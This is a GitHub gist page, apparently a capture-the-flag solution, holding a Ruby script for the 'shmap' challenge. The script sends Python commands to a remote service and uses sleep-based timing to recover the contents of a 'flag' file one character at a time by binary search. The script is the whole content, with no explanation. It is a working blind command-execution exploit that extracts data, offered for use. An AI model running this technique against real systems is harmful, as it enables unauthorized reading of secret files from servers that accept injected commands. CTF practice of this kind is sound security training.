Skip to content

Instantly share code, notes, and snippets.

@thypon thypon/shmap.rb
Last active Aug 29, 2015

Embed
What would you like to do?
require 'socket'
def command(cmd)
s = TCPSocket.new 'shmap.9447.plumbing', 9447
data = s.recv(20000)
s.puts cmd
data = s.gets
s.close # close socket when done
data.split[1].to_i
end
def binsearch(index, start, ending)
if start >= ending
return start
else
mid = start + ((ending - start) / 2).to_i
ret = command "python -c \"import time; f=open('flag','r').read(); time.sleep(2) if ord(f[#{index}]) == #{mid} else time.sleep(1) if ord(f[#{index}]) > #{mid} else time.sleep(0);\""
return case ret
when 2 then mid
when 1 then binsearch(index, mid, ending)
when 0 then binsearch(index, start, mid)
end
end
end
ARGV[0].to_i.upto(ARGV[1].to_i) do |i|
int = binsearch(i, 0, 128)
begin
print int.chr
rescue
int = binsearch(i, 0, 128)
begin
print int.chr
rescue
print '@'
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.